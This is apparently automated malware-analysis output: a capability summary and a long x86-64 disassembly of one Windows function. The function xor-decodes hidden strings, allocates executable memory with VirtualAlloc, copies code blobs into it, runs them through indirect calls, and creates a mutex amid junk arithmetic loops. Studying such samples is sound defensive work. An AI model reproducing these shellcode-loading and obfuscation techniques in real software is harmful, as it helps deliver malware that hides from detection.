Function at 0x14001d650
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x16c0
call fcn.140032620
sub rsp, rax
movaps xmmword [rsp + 0x16b0], xmm6
movaps xmmword [rsp + 0x16a0], xmm7
movaps xmmword [rsp + 0x1690], xmm8
movaps xmmword [rsp + 0x1680], xmm9
movaps xmmword [rsp + 0x1670], xmm10
movaps xmmword [rsp + 0x1660], xmm11
movaps xmmword [rsp + 0x1650], xmm12
movaps xmmword [rsp + 0x1640], xmm13
movaps xmmword [rsp + 0x1630], xmm14
movaps xmmword [rsp + 0x1620], xmm15
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x1610], rax
xor esi, esi
lea rcx, [rsp + 0x240]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x240]
call fcn.140002540
nop
movsd xmm0, qword [0x140035bd8]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140035be0]
mov dword [rsp + 0x168], eax
movzx eax, word [0x140035be4]
mov word [rsp + 0x16c], ax
mov edi, dword [0x14003f090]
movdqa xmm11, xmmword [0x140037320]
movdqa xmm12, xmmword [0x140037350]
movdqa xmm15, xmmword [0x1400372e0]
movdqa xmm13, xmmword [0x1400372c0]
movdqa xmm14, xmmword [0x1400372f0]
cmp byte [0x140035be5], sil
je 0x14001d971
mov r9d, esi
cmp edi, 2
jl 0x14001d903
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmmword [0x140037330]
movd xmm0, dword [0x140035bd8]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm8, xmmword [0x1400372d0]
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmmword [0x140037330]
movd xmm0, dword [rsp + 0x164]
xorps xmm2, xmm0
movd dword [rsp + 0x164], xmm2
mov r9d, 8
jmp 0x14001d90c
movdqa xmm8, xmmword [0x1400372d0]
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14001d920
jmp 0x14001d97a
movdqa xmm8, xmmword [0x1400372d0]
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
lea r12, [0x1400274c0]
lea r15, [0x140000000]
test rax, rax
je 0x14001d9e6
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x14001da15
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001d9d0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14001da2d
mov r8, rsi
jmp 0x14001dace
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
je 0x14001d9e6
mov r13d, 3
jmp 0x14001daef
mov rax, r12
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001da40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x48]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x140041ef0]
lea rbx, [0x1400278c0]
test rax, rax
je 0x14001db89
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x14001db78
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41ef0]
test rax, rax
jne 0x14001db60
jmp 0x14001db89
mov r8, qword [r15 + rdx*8 + 0x42860]
test r8, r8
jne 0x14001dc6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001dbb2
mov r8, rsi
jmp 0x14001dc4e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001dbc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140043500]
mov qword [r15 + rax*8 + 0x41ef0], rbx
mov qword [r15 + rax*8 + 0x42860], r8
inc rax
mov qword [0x140043500], rax
lea rcx, [0x14001ab80]
call r8
nop
mov rdx, qword [rsp + 0x170]
xor rdx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rdx
mov rcx, qword [rsp + 0x180]
mov qword [rcx], rdx
test al, al
je 0x14001e277
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.140025220
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm0, xmmword [0x140037310]
movups xmmword [rsp + 0x160], xmm0
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
movsd qword [rsp + 0x148], xmm0
lea rcx, [rsp + 0x60]
call fcn.140001660
mov qword [rsp + 0x50], 0x64
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.140027000
lea rcx, [rsp + 0x190]
call fcn.140002530
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140027020
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x50]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027070
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x50]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x50]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x50]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027100
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x50]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027130
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x50]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.1400024d0
test al, al
jns 0x14001e261
movsd xmm7, qword [0x140037270]
movsd xmm6, qword [0x140037268]
mov esi, 0x186a0
nop dword [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm5
call fcn.140002380
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026200
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022f0
lea rcx, [rsp + 0x1b0]
call fcn.140002530
lea rcx, [rsp + 0x1b0]
call fcn.1400252f0
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400271f0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002400
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027250
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, ebx
mov edx, eax
call fcn.140002500
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001e144
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001e153
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax + rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001e1e1
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001e208
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027160
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001e170
sub rdi, 1
jne 0x14001e160
lea rcx, [rsp + 0x1b0]
call fcn.140025290
nop
lea rcx, [rsp + 0x200]
call fcn.1400261a0
sub rsi, 1
jne 0x14001def0
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.1400024d0
test al, al
js 0x14001dee3
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140025150
jmp 0x1400240d1
movsd xmm0, qword [0x140036220]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [str.___6k]
mov dword [rsp + 0x168], eax
movzx eax, word [0x14003622c]
mov word [rsp + 0x16c], ax
cmp byte [0x14003622d], 0
je 0x14001e49f
mov r9d, esi
cmp edi, 2
jl 0x14001e43c
movdqa xmm3, xmm13
punpckldq xmm3, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x140037360]
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037330]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140036220]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14001e450
lea r8, [0x140043eb0]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x220]
call fcn.140027760
mov rcx, rax
call fcn.140025fc0
mov r8, rax
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x220]
call fcn.1400261a0
movups xmm0, xmmword [0x140036f40]
movups xmmword [rsp + 0x1d0], xmm0
movzx eax, byte [0x140036f50]
mov byte [rsp + 0x1e0], al
mov r9d, esi
movdqa xmm6, xmmword [0x140037330]
movdqa xmm7, xmmword [0x140037360]
cmp edi, 2
jl 0x14001e6b0
movdqa xmmword [rsp + 0x160], xmm6
lea rcx, [rsp + 0x1d4]
mov edx, dword [rsp + 0x160]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14001e531
cmp r9d, 0x11
jge 0x14001e70f
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
nop
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x14001e6c0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001e779
mov rdx, rsi
cmp rax, r12
je 0x14001e768
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001e750
jmp 0x14001e779
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001e85f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e7a2
mov r8, rsi
jmp 0x14001e83e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e7b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x140041bd0]
lea rbx, [0x1400278c0]
test rax, rax
je 0x14001e8f9
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x14001e8e8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41bd0]
test rax, rax
jne 0x14001e8d0
jmp 0x14001e8f9
mov r8, qword [r15 + rdx*8 + 0x3ff50]
test r8, r8
jne 0x14001e9df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e922
mov r8, rsi
jmp 0x14001e9be
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e930
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140042210]
mov qword [r15 + rax*8 + 0x41bd0], rbx
mov qword [r15 + rax*8 + 0x3ff50], r8
inc rax
mov qword [0x140042210], rax
